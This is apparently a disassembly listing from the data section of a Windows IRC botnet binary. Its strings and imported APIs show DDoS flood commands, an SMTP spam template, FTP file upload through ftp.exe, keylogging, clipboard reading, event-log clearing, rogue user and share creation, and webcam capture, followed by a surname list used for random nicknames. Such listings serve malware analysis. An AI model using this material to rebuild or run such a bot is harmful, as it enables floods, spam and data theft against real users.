unk_4435AC db 2Dh ; - ; DATA XREF: sub_401CC7+54A9o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_34 db '- Failed to start flood thread, error: <%d>.',0
align 4
; char asc_4435E4[]
asc_4435E4 db '-' ; DATA XREF: sub_401CC7:loc_40717Ao
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_44361C db 2Dh ; - ; DATA XREF: sub_401CC7+537Do
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 4
; char aEmail[]
aEmail db 'email',0 ; DATA XREF: sub_401CC7+511Fo
align 10h
; char asc_443650[]
asc_443650: ; DATA XREF: sub_401CC7+5169o
unicode 0, < >,0
; char a__1[]
a__1: ; DATA XREF: sub_401CC7+516Eo
unicode 0, <_>,0
; char aHeloRndnickMai[]
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401CC7+520Ao
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
; char asc_4436A4[]
asc_4436A4 db '-' ; DATA XREF: sub_401CC7+527Eo
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 4
; char aHttpcon[]
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401CC7+52CDo
; char aHcon[]
aHcon db 'hcon',0 ; DATA XREF: sub_401CC7+52E0o
align 4
; char aUpload[]
aUpload db 'upload',0 ; DATA XREF: sub_401CC7+58ABo
align 10h
unk_4436E0 db 2Dh ; - ; DATA XREF: sub_401CC7+58CEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 10h
; char aSIII_dll[]
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401CC7+5918o
align 10h
; char Mode[]
Mode db 'ab',0 ; DATA XREF: sub_401CC7+5929o
align 4
; char aOpenSSSSPutSBy[]
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401CC7+594Do
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
; char aSS_2[]
aSS_2 db '-s:%s',0 ; DATA XREF: sub_401CC7+5970o
align 10h
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401CC7+5987o
aOpen_0 db 'open',0 ; DATA XREF: sub_401CC7+598Co
align 10h
unk_443750 db 2Dh ; - ; DATA XREF: sub_401CC7+59A0o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s',0
align 4
; char asc_443778[]
asc_443778 db '-' ; DATA XREF: sub_401CC7:loc_40766Eo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s failed.',0
align 4
; char aNotice_3[]
aNotice_3 db 'NOTICE',0 ; DATA XREF: sub_409D34+Fo
align 10h
aPrivmsg_2 db 'PRIVMSG',0 ; DATA XREF: sub_409D34+16o
; char aS_21[]
aS_21 db '%s',0 ; DATA XREF: sub_409D34+3Do
align 4
; char aSSS_1[]
aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409D34+5Do
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409DD4+Ao
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409DD4+23o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409DD4+2Bo
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409DD4+38o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409DD4+45o
align 4
aModule32first db 'Module32First',0 ; DATA XREF: sub_409DD4+52o
align 4
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409DD4+5Fo
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409DD4+6Co
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409DD4+79o
align 10h
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409DD4+86o
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409DD4+93o
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409DD4+A0o
align 10h
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409DD4:loc_409EDCo
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409DD4:loc_409F09o
align 4
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409DD4+14Ao
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409DD4+152o
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409DD4+15Fo
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409DD4+16Co
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409DD4+179o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409DD4+186o
align 10h
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409DD4+193o
align 10h
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409DD4+1A0o
align 10h
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409DD4:loc_409FCCo
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409DD4+200o
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409DD4+20Do
align 10h
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409DD4+21Ao
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409DD4:loc_40A033o
align 4
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409DD4+270o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409DD4+278o
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409DD4+285o
align 4
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409DD4+292o
align 4
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409DD4+29Fo
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409DD4+2ACo
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409DD4+2B9o
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409DD4+2C6o
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409DD4:loc_40A0E6o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409DD4+31Ao
align 10h
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409DD4+327o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409DD4:loc_40A12Bo
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409DD4+35Fo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409DD4+36Co
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409DD4+379o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409DD4+386o
align 4
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409DD4+393o
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409DD4+3A0o
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409DD4+3ADo
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409DD4:loc_40A1D9o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409DD4:loc_40A201o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409DD4+43Eo
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409DD4+446o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409DD4+453o
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409DD4+460o
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409DD4+46Do
align 10h
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409DD4+47Ao
align 10h
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409DD4+487o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409DD4+494o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409DD4+4A1o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409DD4+514o
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409DD4+525o
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409DD4+52Do
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409DD4+53Ao
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409DD4+547o
align 4
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409DD4+554o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409DD4+561o
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409DD4+56Eo
align 10h
aSocket db 'socket',0 ; DATA XREF: sub_409DD4+57Bo
align 4
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409DD4+588o
aConnect db 'connect',0 ; DATA XREF: sub_409DD4+595o
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409DD4+5A2o
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409DD4+5AFo
align 4
aHtons db 'htons',0 ; DATA XREF: sub_409DD4+5BCo
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409DD4+5C9o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_409DD4+5D6o
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409DD4+5E3o
align 4
aSend_1 db 'send',0 ; DATA XREF: sub_409DD4+5F0o
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_409DD4+5FDo
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409DD4+60Ao
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409DD4+617o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409DD4+629o
align 10h
aSelect db 'select',0 ; DATA XREF: sub_409DD4+631o
align 4
aListen db 'listen',0 ; DATA XREF: sub_409DD4+63Eo
align 10h
aAccept db 'accept',0 ; DATA XREF: sub_409DD4+64Bo
align 4
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409DD4+658o
align 4
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409DD4+665o
aGethostname db 'gethostname',0 ; DATA XREF: sub_409DD4+672o
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409DD4+67Fo
align 4
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409DD4+68Co
align 4
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409DD4+699o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409DD4+6A6o
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409DD4:loc_40A5B3o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409DD4+7F0o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409DD4+7F8o
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409DD4+805o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409DD4+812o
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409DD4+81Fo
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409DD4+82Co
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409DD4+839o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409DD4+846o
align 4
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409DD4+853o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409DD4+860o
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409DD4+8D2o
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409DD4:loc_40A6D3o
align 4
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409DD4+90Co
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409DD4+914o
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409DD4+921o
align 4
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409DD4:loc_40A732o
align 4
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409DD4+96Fo
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409DD4+977o
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409DD4+984o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409DD4+991o
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409DD4+99Eo
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409DD4+9ABo
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409DD4+9B8o
align 4
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409DD4+9C5o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409DD4+9D2o
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409DD4+9DFo
align 10h
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409DD4+9ECo
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409DD4+9F9o
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409DD4:loc_40A84Eo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409DD4+A87o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409DD4+A8Fo
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409DD4:loc_40A898o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409DD4+AD1o
align 4
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409DD4+AD9o
align 10h
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409DD4:loc_40A8E2o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409DD4+B1Bo
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409DD4+B23o
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409DD4+B30o
align 4
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409DD4+B3Do
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409DD4:loc_40A956o
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409DD4+B8Fo
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409DD4+B97o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409DD4:loc_40A9A0o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409DD4+BD9o
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409DD4+BE1o
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409DD4+BEEo
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409DD4+BFBo
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409DD4+C08o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409DD4+C15o
align 4
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409DD4:loc_40AA3Eo
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409DD4+C77o
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409DD4+C7Fo
align 10h
; char aKernel32_dllFa[]
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+28o
align 4
; char aUser32_dllFail[]
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+5Co
; char aAdvapi32_dllFa[]
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+90o
align 10h
; char aGdi32_dllFaile[]
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+C4o
align 4
; char aWs2_32_dllFail[]
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+F8o
; char aWininet_dllFai[]
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+12Co
align 4
; char aIcmp_dllFailed[]
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+160o
align 4
; char aNetapi32_dllFa[]
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+194o
align 10h
; char aDnsapi_dllFail[]
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+1C8o
; char aIphlpapi_dllFa[]
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+1FCo
align 4
; char aMpr32_dllFaile[]
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+230o
align 4
; char aShell32_dllFai[]
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+264o
align 4
; char aOdbc32_dllFail[]
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+298o
; char aAvicap32_dllFa[]
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+2CCo
align 4
; char asc_44422C[]
asc_44422C db '-' ; DATA XREF: sub_40AA90+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
a__9: ; DATA XREF: .text:0040ADF0o
unicode 0, <.>,0
a__10: ; DATA XREF: .text:0040AE08o
unicode 0, <.>,0
unk_444254 db 2Dh ; - ; DATA XREF: sub_40AE8D+8Co
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
; char asc_444280[]
asc_444280 db '-' ; DATA XREF: sub_40AE8D:loc_40AF20o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 10h
unk_4442B0 db 2Dh ; - ; DATA XREF: sub_40AE8D:loc_40AEE6o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_4442D4 db 2Dh ; - ; DATA XREF: sub_40AE8D:loc_40AF52o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
; char asc_444304[]
asc_444304 db '-' ; DATA XREF: sub_40AE8D+43o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGetting_0 db 'error getting ARP cache: %d',0
; char aD_D_D_D[]
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AF71+46o
align 10h
aReal db 'real',0
align 4
dd 0
dword_44434C dd 0 ; DATA XREF: sub_40B44F+7o
off_444350 dd offset sub_40B06A ; DATA XREF: sub_40B44F+49r
aConst db 'const',0
align 10h
dd 1
dd offset sub_40B0D7
aLetter db 'letter',0
align 10h
dd 0
dd 2
dd offset sub_40B135
aComp db 'comp',0
align 8
dd 3
dd offset sub_40B182
aCountry db 'country',0
dd 0
dd 4
dd offset sub_40B228
dd 736Fh, 2 dup(0)
dd 5
dd offset sub_40B29D
off_4443B8 dd offset aAbdulrazak ; DATA XREF: sub_40B06A+21r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_4443C4 dd offset aAddison ; DATA XREF: sub_40B44F+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer_0 ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton_0 ; "Compton"
dd offset aComstock ; "Comstock"
